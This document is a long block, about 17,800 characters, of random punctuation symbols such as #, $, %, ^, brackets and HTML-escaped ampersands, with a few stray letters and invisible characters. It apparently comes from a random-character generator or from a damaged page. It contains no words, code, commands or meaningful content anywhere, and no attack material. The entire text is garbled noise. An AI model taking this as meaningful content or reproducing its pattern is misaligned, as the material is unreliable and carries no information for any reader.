**#$_##%([*#%(*+^(@\u0026amp;_((*)*$%%+_@])}\u0026amp;$%+*$$+{#^\u0026amp;}[#$^*_][}]@](]+#\u0026amp;*[#+*%(\u0026amp;*\u0026amp;(%*[] ^])^%]*+_\u0026amp;{)}^!!@%$#*]*^\u0026amp;{[$^}[$}@%[%%@$+^]#)}^\u0026amp;})#)@]^\u0026amp;+}#!{**+(@+}}\u0026amp;^()$)#%)]_ $()#}$%}@^_()+[!(!*($##%!)$])$+@*[{)\u0026amp;+)\u0026amp;%+}[[}^_#}#*\u0026amp;(^)@[_*^[%$}%)#)#!](+([%*+) $\u0026amp;$!_]+\u0026amp;)}[_%[%(!!#*}\u0026amp;(][_@}+@*+\u0026amp;\u0026amp;_{_(#%(!!+{\u0026amp;}_@$#^!#\u0026amp;}}@[%_$\u0026amp;]*$_^}%)^_({][}$} #]{%($@%%]\u0026amp;)))$*^%+]^^\u0026amp;{*\u0026amp;#[))]*(+]*{[!_#[}]{_^%!_{[{%#]}{_#]\u0026amp;^^^)+!^{*_{+[}*#+) [_)^_}_]\u0026amp;![!+\u0026amp;+_#@*%_#]#!\u0026amp;^!*[#{+%]{{]*%$}!*}$#$_[%})##}}_#}%]_}@*^]*@^(_)}+^^!+ *^]*([\u0026amp;{{#%{[{\u0026amp;@%)%+\u0026amp;!^\u0026amp;]^**}+_!!_(#\u0026amp;}{@@*}({^\u0026amp;!^*)^]%_**((@++#\u0026amp;)@\u0026amp;*%[]]+!$_[*^] +$!)(%[{]{((_{*}%+_$+\u0026amp;_)^}@@^*+!(_@($\u0026amp;@()]]]\u0026amp;!{_++(^^_{_[!$[*!%@(][(]_{!(}%[*!]) !]%+@*+@#$^)^[^^)\u0026amp;#}#($*#\u0026amp;)}!#[*]%[}#*}_@(]}+*]]^)_(%\u0026amp;}*^+%#*%\u0026amp;{^}%(}]{$+)!*(\u0026amp;\u0026amp;\u0026amp; +]$^@#_@[{!+^)}}[)_([!%[{(%)@)\u0026amp;^*{!)%\u0026amp;)\u0026amp;!$@]}@([*(^#%@^\u0026amp;))%*[[}_((@\u0026amp;)]+]}}_))(}* !_}}]@#\u0026amp;({_#@{\u0026amp;))$^@@*@}]*+[*%)+[[{\u0026amp;!!^$($+]#$@)*%*_^{_^%)__!\u0026amp;$+#]#**)+*@+@%#]]{ *_[)+)*((]!{@^!@]%(%@[]^%[\u0026amp;$+^}$$@\u0026amp;{_(!*}$]%_#_!%*++}_])]}$@+\u0026amp;#(]$*[+[)\u0026amp;)([@+])_ [+!%^#%)!#_}]#]]_)]^**_^)^%\u0026amp;$$)%!*!+@#*[^\u0026amp;@^}^[{(@{%(![]#{\u0026amp;%[$]))(}[)^(({_\u0026amp;*#}*} [+(]+@){$(@!{%$%)$+{$!$$\u0026amp;*^+\u0026amp;@)%}![)*]{^%#(+{}![_\u0026amp;[@]+!@*^}}{})++_${_\u0026amp;%!@((@]{$# {+@\u0026amp;[}^\u0026amp;%%$\u0026amp;())#!_##$!(\u0026amp;@@*}^[%@$^#*\u0026amp;!@@\u0026amp;_[(!}+{}*\u0026amp;+{**$)}])%()!_\u0026amp;_)!*((^+%)_#[( _^\u0026amp;!\u0026amp;(%{_%*[($])}%[{@{{^_[$}@\u0026amp;\u0026amp;_)^()({%![#][(}+\u0026amp;^(]\u0026amp;}!*@#{)]{i]%_]%^(\u0026amp;]^{+_([)$% {\u0026amp;*[$@^{(]@}]%)(@\u0026amp;}\u0026amp;)}_@$}\u0026amp;]{#$^}@@\u0026amp;[]#+!%^]@!]]$+$]#^_]{](^*\u0026amp;!%_!!\u0026amp;}$^\u0026amp;#!}++)_! ^@]]*$*_#+$!^{$\u0026amp;[$_+#^@@}#)(#*\u0026amp;)$#\u0026amp;+#}+{{\u0026amp;@$^%+{++[\u0026amp;}#}[*#]^^()+(#![]^$)^#*])%(( *[)]#!]$]{+([^)%@{^_$!(*@}#@{{^%@}#\u0026amp;##*!_\u0026amp;^{%$_{_+%)#{{!$[\u0026amp;\u0026amp;]#^)+!]*\u0026amp;]{[!^)%}}*% _{{$%_+*^{+!*!$)}*)_\u0026amp;%@[$*!\u0026amp;*#][!!\u0026amp;#{]$}}]^_$*!*\u0026amp;]\u0026amp;(@%_$*@+!{}^^+()+_$(!]*@)\u0026amp;#[# (#[@!$[+{_{^%+\u0026amp;}($[^^}${^_[#)({)++\u0026amp;_%*{@+(^+_%!_)%)^+@#(${)*]\u0026amp;!)^{[#%+[*))(${\u0026amp;{# \u0026amp;$+#])%@_*}{[}$!{#}!^%*)++$]\u0026amp;]!_{_+_]%#\u0026amp;@\u0026amp;$\u0026amp;)*!(]+_+}}]_+#){[^]#^+)$#!)\u0026amp;)[+#[)}} )*(!%\u0026amp;]*{$+(_()_%$#_{}[]_%#{![}}{(!@{#$[*\u0026amp;(^((*+^(^(_]%{!]}+^)%^{{$**]@$$$_!]((% (\u0026amp;[${_\u0026amp;)}[$$_{$[]{#{%%!\u0026amp;@(#+%@%)+_}\u0026amp;*##]!\u0026amp;^_[^[*]([*!]]!]{#*!^\u0026amp;$!*)!}_#{_#*[%[^) [!*@]%*[_^!#{{)@![$+^__[]{($+}}{}[$[]^{+(*(^)\u0026amp;*\u0026amp;#^][@{\u0026amp;@)+^*{%@^)+++\u0026amp;!\u0026amp;[{(@{!]{] )%$]{()*{)[)}@\u0026amp;@\u0026amp;@%^#{*]@@]\u0026amp;_]!))$^(%@+@+]\u0026amp;}]+{*[]+(!_{]@_[(]_][}}_}@[_}##+@]]]* +@*_*[\u0026amp;%%(_++!{]*+\u0026amp;(*%%@{!!*%!*^}]}$\u0026amp;}#[+*\u0026amp;+@((#](@(\u0026amp;*{+](#%!%[%]@#+[_+(^[*\u0026amp;[}${ ($@]^)!\u0026amp;_*]#{#\u0026amp;}({@](*_{!{*})%}#\u0026amp;#_][%)]$_*\u0026amp;(]_*%]%$(\u0026amp;+$(#+[][*{]\u0026amp;+^+!\u0026amp;^@}$}(}]$ ]*%@_+!}\u0026amp;+}_}[%^]#\u0026amp;{{+*%$\u0026amp;_#}#*]\u0026amp;%%})$+]@)+^})[\u0026amp;(+@$)^#)${@_(%!($]}^!{@}){+@!__) $]\u0026amp;{*%#]_!$\u0026amp;@$(}#^{]!!%^%_#\u0026amp;!$+$\u0026amp;%^_#((#)$@($[+}^[_+$@}_)]*!^$!{^)@\u0026amp;*[[%!_\u0026amp;*$_$# ^+][](^[]^^($_#[+})__}@{{⁠%_%*\u0026amp;_[)!}+[!@\u0026amp;*}}$#%**#}%})_^$^}}\u0026amp;+*}({(]_!*)#[%(!+_%* )+@%[+#$(+%@%%%_{+\u0026amp;_\u0026amp;_]()$][)(${{@(+}+_$_!+##@@\u0026amp;}[#+!(#+!){))@*+((}@#![!)\u0026amp;(@@)(] ^#!+{_(_$+!!%##{[{]($+@)#\u0026amp;$%)))\u0026amp;[\u0026amp;*!^%+]!#]^#{)][()**$^_!@)^}%$}+_]+{[]*_}[[*)*{ {+]@[!%)@\u0026amp;^^@$%!!({##_#[}[+@_*@]\u0026amp;@[]}${((^[{][]+#%![(_{[*)#}]@{]#(^])_\u0026amp;!%{^!#%{@ _]}]!^_[!)\u0026amp;\u0026amp;\u0026amp;]_(#]+_!_}\u0026amp;\u0026amp;)#$*+^###[**@{}{%^[\u0026amp;#+\u0026amp;__@@@[+t]+\u0026amp;)^{*((@$!$)%]$[{}$}\u0026amp;$ %!+$[(*%](@*!*})!#+*#+(}$(*@*[#]#)[^*#@}*_#%@@+@[!!{*^})_!^\u0026amp;^({(%(%%@(#_(\u0026amp;{__[!+ (#})___!{^@*}#(%#)_]_%{{]+@%${+![^{(*$+)$[\u0026amp;[${)\u0026amp;#%+$![{}(@^+}]#(}@#]}($($[$[+{}( \u0026amp;}+%*$[(_+{#!+]@)%#)}_+{%\u0026amp;*)#^[$@_@}[^*+_*(!%\u0026amp;#*^@)@%^[@%*$_{}{{⁠%[@^+%[$])])@[!^ +#@$%^@^#%}+)*!+!$%(}](\u0026amp;)##$+\u0026amp;[[#\u0026amp;^*!^$]*!#}{%#{*+\u0026amp;[]$)]%}*[*_)*#@^{%)}{+$^)_{$( %){!}(#]^_(!^]({%@_@$%*{*@)*#!%$(*_(]!#*#%[*[\u0026amp;*)^[%\u0026amp;$_)!$[_\u0026amp;($]]%{!%\u0026amp;)[(]\u0026amp;{[[[{+ {{@]+](@\u0026amp;@$_^^(*@})$!}{@$_^+{*)[({^}_!#[@$[*%!%^_*@@}#_{[{_@**++)!]!@{_#]\u0026amp;\u0026amp;*{+\u0026amp;$ **^[)[%$_^)*)_%+]\u0026amp;_[)\u0026amp;$}}_]%+%)}^_]#}]__]*!}\u0026amp;#[[##![$[)%+_))_\u0026amp;)$_(@\u0026amp;@}\u0026amp;\u0026amp;{)+#_%![ ]}(^#*@^)$$%[%*(({(^]}_$+^%{$#*#^+({)[*}@]+![\u0026amp;%_%\u0026amp;_$#@[$^+@$(##[[$}+*$!@*!{_@})\u0026amp; }![+_#}%{{_$}}+]+#{]#+$![@(!%_\u0026amp;$$}+^*{^#^^[\u0026amp;\u0026amp;(^^##**$_{+*!]}][}\u0026amp;\u0026amp;%]]*\u0026amp;(}{+@+!]({ !$@+[\u0026amp;@)]_!__})]+]+\u0026amp;{_($!$)#$)\u0026amp;$]\u0026amp;\u0026amp;}{!^$)$}(!@%$%(!+*!*#)+$\u0026amp;_\u0026amp;[[]})^#]{$}\u0026amp;@$^{## ]#%@+!^)$^+\u0026amp;^_{({+[}#()_(!*_@$}}!}*+_[@^{{{#+)%\u0026amp;\u0026amp;\u0026amp;}*{*))+}\u0026amp;[#++{}%@(]_@$![$$$\u0026amp;^* __}$)$+%$%(*^@)++@!*%]^){]]_}]++$!()\u0026amp;[{*^$%+]+*_{[{$[#*[[%^}]\u0026amp;_[^@^+@@^)#)${$^\u0026amp;+ (}$)][$\u0026amp;}#*_\u0026amp;+%#)(%^){](*]}}]}!+[)##\u0026amp;!^!+{_!@\u0026amp;^[[(#{[\u0026amp;#%$!(#{__}#\u0026amp;@$*}#^*#]@!}^_ !^$!@y{$][%@+^##](_*(##^_{#)$+$*\u0026amp;}[#%\u0026amp;_!+)*@{][_($#_$*{(}_[{+)$[)+{#)+($_]{}!]+# (#_$!@*+#%+(#@_}}@^!$_[\u0026amp;_\u0026amp;@})}}$(]^]^(_^**@%**#\u0026amp;^+@[!]^+}+\u0026amp;+\u0026amp;[^()+$*$(}$!%@!({^[ )]*{(%#[_%{}(+!##[)%\u0026amp;!((^[}\u0026amp;(!#^!([)[\u0026amp;!_)(%\u0026amp;#@)\u0026amp;*$+]\u0026amp;!]^#!!^$*^$!(_+![]*{!${@%+) ^#)$#{}]%%$(*}(]#\u0026amp;\u0026amp;$)@_\u0026amp;+)%}}*(([]![$!!^\u0026amp;[%!{\u0026amp;^(\u0026amp;@\u0026amp;%$)@{!@}!}$_*$%+#]{])@!@)@_)] }]{_}!%{^$))\u0026amp;_(+}+#\u0026amp;+*\u0026amp;+!{_*^)[}(((}_@(]^)_}!]}\u0026amp;}{\u0026amp;[((}@{+(([{])_}^(@^+^+^}(!)\u0026amp;] _%*}_!^#[*$_+]@\u0026amp;#+{*@*+{)]^^!](]_@^}#^^%(*+]@^@]$*%_$#^*@[$]]_)]$+$+@*{$[}[%*{+) (\u0026amp;{@%^+*}^(^\u0026amp;_+$#(@$[#@@(){!($)^)!])(_\u0026amp;%#*\u0026amp;[@{]{]#@(]%@}{${[})($+++@*${+\u0026amp;}(^%)+* {#]!#)]*\u0026amp;@)+#[+_)@\u0026amp;}+]+_*}}]*{{⁠%^!+$+#$(%!^**!])%*_}$]!)({$^_^+]*#{(_*[\u0026amp;!(*))#@\u0026amp; @^%@@}]]}%#%]{{#(#**[#(_#(#$]]*)_*#+[_#+}{\u0026amp;!]@\u0026amp;[]+{*^]!%^*_@)]^%#++$\u0026amp;@[)([+}!*]( \u0026amp;%+(\u0026amp;])^[)@$](**}]\u0026amp;}$]\u0026amp;%^]@)[\u0026amp;(*[(#^{$+^]@[%![_{[#_[){_$)!%![]^_%*$!@+{[\u0026amp;%)!_#(( $)[__^{%_!]_#[\u0026amp;_$(!)!_\u0026amp;}\u0026amp;$$}](]%{^(\u0026amp;{%$!]+[+_^+{*[@+*+%[$@\u0026amp;#+#$*}\u0026amp;{@%##*@(({)_(] }_)[^$}^{[$@^$@$\u0026amp;##)@[#$\u0026amp;$\u0026amp;_@]@{_][{}!(+[!+@%\u0026amp;^\u0026amp;[%\u0026amp;${()@@_[\u0026amp;+^^+{)#^#)\u0026amp;%_]@{$\u0026amp;(* {()}$]!%*+{[[}!+][_*!\u0026amp;]{%+)!^)!*{{})_\u0026amp;[*[})+[(@!__!{!]\u0026amp;{^@%!@]\u0026amp;[\u0026amp;^}+#[{_}@!+_*{\u0026amp; ^[%#!^]+(*#\u0026amp;))([%[%$_[#_+{{_%!#\u0026amp;)^\u0026amp;#)#!](+(@!(}}*#(\u0026amp;\u0026amp;+%!}@]%@#$*_[$](#[@#[_^+(%{ @#(*!__{)_#^!{!\u0026amp;%_*@+*(\u0026amp;[^_(*$#!@_*}#+$_*${@!}*]!}@)$^@_@{^(++(%({[#$)!}!##%]\u0026amp;[{ !(+}(*!(\u0026amp;_[}}{}+#{!#)_[!)\u0026amp;))%%#}_!]${*}@})_)}%+\u0026amp;#$]\u0026amp;(^*[^+\u0026amp;{)}+@((\u0026amp;]])%$@((_(^$[ _@$)[[+(!@]_()}*]*+[{\u0026amp;@\u0026amp;[##}[\u0026amp;]%$](+*{]!%)]_\u0026amp;%^$+%_@!#\u0026amp;+@[(\u0026amp;{){)(]+[]{)!^}+!}{[$ {)@_\u0026amp;{_[^++^{[%*!(]]@_]}_})(%+_#!+]$$_\u0026amp;!+*[(])$(!^($)}^+{\u0026amp;!\u0026amp;__+_{@+}[((\u0026amp;%)$][^{\u0026amp; *{_%#\u0026amp;${{!@$)$(@%{{*%[+[*@#$[@_{}{[#($}}_)%)\u0026amp;+*]((}*)+_%#{%]_$]%][!+[+[%[@\u0026amp;\u0026amp;){!@ (\u0026amp;(+*[($}**}$^_!@]_{%#{](]@{!#\u0026amp;\u0026amp;\u0026amp;)[$!_(#(#$!*![##!$_!*{{$@@*_!#[%)}%^%(%#$@(}+}$ _#@\u0026amp;({+)+}^*]^!^})[(^@)*+#@]%_(**_+}###[_}]*$${]\u0026amp;_[\u0026amp;{[*}+@#}\u0026amp;^{]\u0026amp;#!_{%())](^@}%* $[%@##)(@__+{#@^_$}}$)}]#^^@#\u0026amp;_^++!$^^%%#($+]\u0026amp;%\u0026amp;+]}^+_@%$})*$^*\u0026amp;*+[##@_{(\u0026amp;}@^*]_ _$_[@%#[+***\u0026amp;@%![]($[{[!$\u0026amp;^(]%(\u0026amp;#_!(#%*^\u0026amp;#+^*!)!^{}!$#}](_({@]]{)^$]^*[*]+}}!({) [%%(@_${[(#@%*_+^]{}+^{}!)\u0026amp;#}*#%(##))%(+[+@!}$^}](!_$%}$\u0026amp;([#%}[##*[#*]{$^#*(^+[^ }!\u0026amp;]!%!+@){](^(*}^_!$%]^[\u0026amp;*)_^}!@]*+((!^+_$+]_%[@\u0026amp;+(*@}}+}!]#})!*}!)+@}^}_+*#+^! )#$_#{\u0026amp;)!$@]@@[#(!]^\u0026amp;^+!_+@^!\u0026amp;[*!)(*)*\u0026amp;[{_@%$!__!%%[#$(%#(]$$![[@!^#%(_)#!{%]]*[ +^$@$\u0026amp;!^%+!^[_}\u0026amp;*$__@}{])%)((}_^)(%^)$@}#)]_)[)#{!}*^\u0026amp;\u0026amp;__}!{\u0026amp;)]#_)[$$%@{@$\u0026amp;*@)#{ ^#{}%^\u0026amp;]+}(%$@+{*^})]@^#^#]@$%([[#^(%[)]%#$}}*_$]}^]*$@#%$#[^[[%__*#@)(_![{${{{$ ^*{##%*!!\u0026amp;]{_[$#_]!\u0026amp;{(!@*(+%*[%_($]*#)($)%][^]#+}[+_{})@)}*\u0026amp;(]{(\u0026amp;(}%%@(++$}@(#[_ }(#[(@])[+(^$}}+!){_\u0026amp;*)\u0026amp;\u0026amp;$((+[+)+#\u0026amp;]!@^+]}[#}$!*$_}_$__@^))$*){%!@}_){(@^($)_\u0026amp;^% ]))^)^][\u0026amp;$+)[!(#!()(\u0026amp;[%(\u0026amp;[@$*!{]+{{$(#^\u0026amp;_!!%@)%[@_(+^]#@$]#*!$%#()@++\u0026amp;}+%[[_#(*] #!\u0026amp;\u0026amp;([_}[+]]*%_$+(^[^)$*#{+{!$%}_*!%_([{*^{*(#}\u0026amp;[$@[[_^$\u0026amp;!()*(({]##$@@\u0026amp;@$}\u0026amp;#{#@! \u0026amp;_@+){!($$(_}++\u0026amp;+*%@[%+([)(}!%%{$_{@$[*}_!^)#+)+{*\u0026amp;)^]+[$^))+{(++%*^!]({!\u0026amp;^}\u0026amp;_(_ [\u0026amp;^#)(\u0026amp;)[)}[}}+$]*)+)\u0026amp;_{%}(!}(+%(]+*#([+*##{()_(}}[%[]*]{${+(\u0026amp;)}]){)_^}[]()}#$@% ]_}(_]\u0026amp;}[\u0026amp;#%!{+@(##({^[+#_)]@!$]_@+[[%*_)}]([$}}*+#$+{$+_{}^][]{!^!#^{{_$}$(%)+[ [^%]]+@}_%){$%\u0026amp;[@!*{){)%##(_{!#(![#*(^@{$$))#}@_]{#_@{)]#!]!#\u0026amp;^]!@^_++(^($)^#^%} *($%[*(++@_([!@)%\u0026amp;%^])\u0026amp;\u0026amp;]_%*_+)$[+)){_[)+*+**)][_@@!]\u0026amp;[%@$(!#__@]+_{$@+*+)_[%^}[ (++$%*@_](}_(+!}!(%!*([\u0026amp;#[$@]#}+@@%^[]\u0026amp;^[%]+[{!_#+{(*)!*+@*}+(+!*+#@[@#!)#*[]#%\u0026amp; [_%^!#%_]$}#+[+\u0026amp;[@)_#]+$%{]*_%#}}\u0026amp;[}#*(!))@_+@$}$#[]}*@%!}^^\u0026amp;$%\u0026amp;]_@}!!}}{_{\u0026amp;#_\u0026amp;} $@$+(*!{{{_}!+[}$+_)_++$+}$({$^!*_@]$\u0026amp;^${%$}_!%_{*_[$+)@%+{%\u0026amp;_^%%!+_([$_]+\u0026amp;\u0026amp;%_%[ *]+[!%[^_*+\u0026amp;*$(\u0026amp;@@(+)$!(!#)}!}{+*)_^_*^(}^}+}][\u0026amp;*_@#%{^!\u0026amp;{)%_](**_%\u0026amp;%!!{${#+@$#^ %)^!^$!$#*^]$*}\u0026amp;{]#{*]!{%%+_({%)%+}\u0026amp;$%+_(}_^(%{*++!@^}*_{([[_#_++@+(*\u0026amp;$(%+)+$}[) [!}\u0026amp;#{$+_@\u0026amp;_!}){{$(}[{*@%[(!@]!{\u0026amp;\u0026amp;%$!#[[(){%#%_^#_{_!}$!{)$$#\u0026amp;_^){[(#\u0026amp;$_^{%$!^}! ((*\u0026amp;@}}\u0026amp;$)!*@$}*^!]+]))!!*%^[%(+[{!(_%]\u0026amp;^$[#!#]{+$+]*}[[*@\u0026amp;\u0026amp;!+^#%!})\u0026amp;$]{*(\u0026amp;+@\u0026amp;+^ {$!#\u0026amp;$[$}$!][@{%@$$$}([{)(]*+$!}$*$\u0026amp;+@%[$*)#]}_\u0026amp;_#@{^#@!@@%+@([)]}{!_[@^+^%]{){\u0026amp; $@(%@)^]*]\u0026amp;%%_%*#[@(\u0026amp;]])#$#!$%$}@{}!}[[@}#@#](@)$%{\u0026amp;)}[\u0026amp;][[_%%(!!(}%([[){^$@[@[} %#**%{@_)%{@{*[@#(+\u0026amp;+%[]{+\u0026amp;{}_*[%#!!**+{{_^+@[[@^}[$@(}@[${@@}!*@!(%{}!#*_[\u0026amp;^@[% )]!)(*(@]#@{%_*+@_\u0026amp;(\u0026amp;*$+\u0026amp;$$$$)+}+@$\u0026amp;)@}}+_*}!(){@@@]%]$}@%@())$^]!]*{!^!$\u0026amp;!([*%* {]){#}@!+*%(#((($+(_++)*$%#!)$*[]_%)]\u0026amp;}@_{#]]\u0026amp;!##\u0026amp;$$)\u0026amp;^@\u0026amp;{*!{{[))(*{([^*\u0026amp;$})@$*{ }]]}%}!!*_%_(^%{%\u0026amp;*)@^\u0026amp;]]_!*[*{[^%[(]%]*!+])[*(!}\u0026amp;^)]#{\u0026amp;\u0026amp;%*)$[(]#(*@^}[(!](+_[%[ %@\u0026amp;!\u0026amp;*_]^#*_$]^$}^]##+_}*@)%{@[$$#)$*_\u0026amp;)+()@*@\u0026amp;^_${[@%\u0026amp;\u0026amp;$[!+_)#^_${+!\u0026amp;{[#^^(*)\u0026amp;! #%(^\u0026amp;!+$@!)_*##{[\u0026amp;]^+}(](+%#*%#\u0026amp;##!(]%)!($#!^^)!(_$*!_]\u0026amp;%@#}**+@\u0026amp;+])[%$%@$!]$[!@ %*}_@^$%^]$\u0026amp;#{+]!({[@}\u0026amp;{+@]!{\u0026amp;!\u0026amp;)#((\u0026amp;\u0026amp;(!]!_$}_!!(#}#\u0026amp;\u0026amp;[@_]+%%[_]!}%###*\u0026amp;}\u0026amp;]^^[[_ }[}^*{+]@_)]@)_#*+]+$}+]{]!+\u0026amp;}}}@@)\u0026amp;{*+\u0026amp;#*}#*)__*@@!]!]}}#{!$}*@@@}#^{{!}##^!\u0026amp;@! )##!]#$[@!{*%+)*#+__)_(%}^*#\u0026amp;[*}{_@\u0026amp;+[]_*[[}[@{]][@)#[%(*$[*{%@]]#${)!%_!*}+]$_) })_%())]{(]^+)[+)#^{*_^([%]\u0026amp;*+_)][%^\u0026amp;*)++^\u0026amp;{]+]$\u0026amp;_+[@!%$_([\u0026amp;%%!@!%*)+(}]+)()!#}{ (^*\u0026amp;^{[!#$](%_!_**!}$$!\u0026amp;[^{(!#{#@_\u0026amp;^]{)[*+^](!\u0026amp;!(@^(@!@]%+]$(#%_}+)$@}\u0026amp;!#\u0026amp;\u0026amp;{^*{] +%[!{!$((^_+\u0026amp;]_!@^%#_+}({^^}*{{⁠%]^@\u0026amp;+${%%^[*!#}_(_\u0026amp;\u0026amp;)!$}!_^{[(\u0026amp;$][(%_+$^\u0026amp;}#\u0026amp;((#^ !\u0026amp;]{[+)@}%![(#*)$+$#){)[^+@^_)]%$#}!\u0026amp;}\u0026amp;]$\u0026amp;{*\u0026amp;[$!}%$]\u0026amp;_}[*$^)%\u0026amp;{]}]![[^_}(#{^*!!\u0026amp; *\u0026amp;[(_{{+}($[}$*()\u0026amp;}$\u0026amp;#%!%#)]{@\u0026amp;$)[}\u0026amp;{\u0026amp;_%_[(((%@{]_*^(!+*[[(*}@]%_}])^%+%\u0026amp;([]}{*\u0026amp; +![}{([\u0026amp;]$^[+{*]()\u0026amp;!\u0026amp;@}^#+][(!^*^+^\u0026amp;\u0026amp;$#]_{@$+@[({]\u0026amp;)!\u0026amp;)))\u0026amp;#*(%+*\u0026amp;}$^_*+_\u0026amp;@[}{}%^ {_$^+%+@(\u0026amp;@[[)}*@{!_$)@((_*^_$${*#{_#{%@()[@(+$#[)!#*^!(}{!@[+%[\u0026amp;_%()+#%%{)}^)$* \u0026amp;(@%[{^\u0026amp;%^({(@$*(**$}+)%}\u0026amp;)!+$[((\u0026amp;)@]@@+{{]])]]^$#(@%)!(\u0026amp;\u0026amp;]+#+[\u0026amp;[\u0026amp;}$__$$@$+]@{*# {]@]@*)!])})!}!%[+$)@)]](}*\u0026amp;!}]+![##]])]_[](+${+]_*@)_^{}\u0026amp;^)_*{*]#[]*{+{)(*\u0026amp;^_#_ \u0026amp;[#_)$){$*!)!){$*$(]{]_\u0026amp;%%}$@\u0026amp;[**+![#{$}]@$$[@@]@{[#])^$***+_#%@$%]{_+}\u0026amp;*!\u0026amp;_%\u0026amp;() $]*\u0026amp;[)#(%^{]%^)])@#{!^@(@)#+}{$}@_${_(_}[^[+#*\u0026amp;^{%!%+$)){_]*%+(@^{_*#$*(!)[*[\u0026amp;)) ^\u0026amp;+^@!!!+])*@__%__@${%#_(^@@*}!\u0026amp;])[#%_!%}!%{@}#!)(_*^@*_)$\u0026amp;_+!#$)\u0026amp;}#_\u0026amp;$}%!{^!#\u0026amp;^ )_)$}%^+_!*$(@%}}@)})}_\u0026amp;{!@^^!\u0026amp;_]**!*[[()]*%(]}!#))+*@($%)+){!#@^+}@((*@[}\u0026amp;%#{_+ {@^+!([!)_!+@+}_+^!%_([(+)($@\u0026amp;@##($_\u0026amp;!@##$%+$@#[_[$!^\u0026amp;*])!\u0026amp;(_]*]}\u0026amp;)[(((]}%[@\u0026amp;[^@ ]{*+\u0026amp;_)#!(@\u0026amp;#+((\u0026amp;!%!%}^*\u0026amp;[]#$*^}}$]\u0026amp;(\u0026amp;_{}+_}$%#\u0026amp;%[\u0026amp;}*)*]]\u0026amp;+!_)#[^+%_*}]])+$)%!]{ ]##]^($^_)}[}[[)}{++}+(^%^!}}%)\u0026amp;[}${{*+\u0026amp;+@%}\u0026amp;(})@)+%!%_*(*[!+$_)[!#!@[%)@^}(#*%+ #]$]%^)$!{]\u0026amp;_[%%*}_#_)__^[^^#(})}\u0026amp;^%%%_\u0026amp;}\u0026amp;$_$!\u0026amp;{![*^}#+@!*){%)+!]_\u0026amp;*[$)%[)!{]!#^ [{*__(+#_)+^%(%]_%@[++[((^*($_*(_!*+$+[\u0026amp;!(*_[{{\u0026amp;}\u0026amp;%*%@#\u0026amp;%[#*_[_\u0026amp;@\u0026amp;]__+{@$)^%_#$^ @@%!+%+]_{{}*{[]+^*$!]\u0026amp;[$+_}{])]$]*##__##{#!!\u0026amp;)%!@^!!*+#}_{^)%{^*(}])]@$_!__)!#+ @%({\u0026amp;[^${{_{}#([{+{]!@((\u0026amp;*@!)*[}$}(]%+#@$%%\u0026amp;!%\u0026amp;]@$(_][#)))@$+}@%*#^^@%\u0026amp;]}{()%%^! #\u0026amp;\u0026amp;)++!(}{]}*}}!}(@*@!]^%*!$_[($)!_^^$_[#!(%[!}#\u0026amp;$)@$}#$))\u0026amp;)[##**@](]]$)}}[^@@^# }\u0026amp;\u0026amp;){[$${\u0026amp;}+[+%_}!#^#%{]_%#%*\u0026amp;_}}+]\u0026amp;_$*!\u0026amp;\u0026amp;][_%!]_*+#^!]{}_!@(}(*(^^*__+$#@#^]*%% %]^}!_{}!)%!{)%+[___]]$](*^)))*^${)^^$_\u0026amp;[)\u0026amp;}*}($#{#^^#_@[[+[^{{[*__{%$^$}*{{+#{{ $%\u0026amp;+])(^^*$(}#*[$_#%$}!!^%\u0026amp;($}!!(]*{!}(!_\u0026amp;{##[{!+]\u0026amp;#(((%@]!($#%$^@(%))@_)@}*})+[ ^]^(}${[(^!*{}!(_[{^*\u0026amp;{\u0026amp;})]]\u0026amp;}![}$!}*+])}[@(_\u0026amp;)[}*@_$_{%[+\u0026amp;#(*_#+)^)!\u0026amp;@!%($!}#[% [@\u0026amp;[+^@$}\u0026amp;{]{)+^\u0026amp;^#{{}@!}{^{%}#)@!%([$(_!([+({)@^(#@!)$[_\u0026amp;](!}@$*$@!(#[$+!@][}_* _^#\u0026amp;{)][@*!])^))+@+$%[%\u0026amp;}(^(!@}([#+***_*[^)$((^*(}([!]@##@$%^[{+^**{\u0026amp;[\u0026amp;@@##)#(@# {+_**$%(#$\u0026amp;^$^]__*)%$*+{#+()[%[(}#]}*\u0026amp;$^%]{}%\u0026amp;(_([]\u0026amp;_}\u0026amp;}*@}#{((\u0026amp;!@!{#+__#*#))\u0026amp;[( \u0026amp;[[*+]\u0026amp;{[$_}*#@!{]}__!+!!@$@#}+@!%^(^_^{}]+^({)*[**%!@[^)#$%{\u0026amp;[[_!(^(}}{!}!)@### (#*+!#@\u0026amp;+{_{\u0026amp;%\u0026amp;$}+}]!@*$#\u0026amp;\u0026amp;({(^(_#{+$*+_)}^\u0026amp;$##\u0026amp;+$]$(\u0026amp;$}!}!](%#+^]*$%]%)}^}])#_! @)*%_$^]$@*\u0026amp;(()\u0026amp;+)_[*#@\u0026amp;{+\u0026amp;}^#*+*{[)[^$+#**^^(^]}][$_+]*\u0026amp;\u0026amp;)@}{\u0026amp;]](_]_]^\u0026amp;\u0026amp;}%@+}[$ (+[%*^!#)#+(}!)[!^{\u0026amp;[*[($%{+([#[[@\u0026amp;})$]@{^^#!$]_}!{*{*{![@$_@]+*{}[!#%@}]\u0026amp;#{*%{} !!(}\u0026amp;+%%{%{%({!_(%_]@}+^%@_!*[\u0026amp;{)$%\u0026amp;)@]{+\u0026amp;_+%\u0026amp;^_}([_@@)$^!^}{#[$@{(_]{))*$(#!(+% \u0026amp;!+]}]__^\u0026amp;@)^[}]!*#@)%!(%#)_*#}%*__}_+(**{[+)]%${+@^(]$()@([[{(]}$)}#!\u0026amp;+{%@$+{{^ \u0026amp;}_!$_+$_($*{!*#\u0026amp;$]%_)[({}+^}[@#+**%*}#[([@$][)[\u0026amp;+_%!!}@@}*!@%(#[}\u0026amp;$#]\u0026amp;{+^{#_*^] @_%(]${\u0026amp;*\u0026amp;#^#_@^{%*^%$^+*(%}[!!)(!%_}!@@#\u0026amp;+)^^{##%\u0026amp;}$+*+!#}+%{%#)^@%[{}^%#+(+$[@ #%}+%%#_\u0026amp;}++)}{]%#]*)]+)]+^(*({}+}@_\u0026amp;\u0026amp;!![)^_$[][@*]!%@(@*+*_]{\u0026amp;}%*^)+[{!_%$+%[*+ \u0026amp;\u0026amp;\u0026amp;!#[_]])$}%[_*!)@}[{*]%!@!_))]*%#^{{+]%]]*@%{%@+^[@}(^#%\u0026amp;**+)*^*[)[)%$[^#@^\u0026amp;+# +++}%_@@[(}[*%$#}^#+\u0026amp;}+%%)$+_{^(#%*{\u0026amp;*%(*)+([!@)*#[\u0026amp;!@(\u0026amp;_$@%$%]^^\u0026amp;{]@$}[({$((^}! 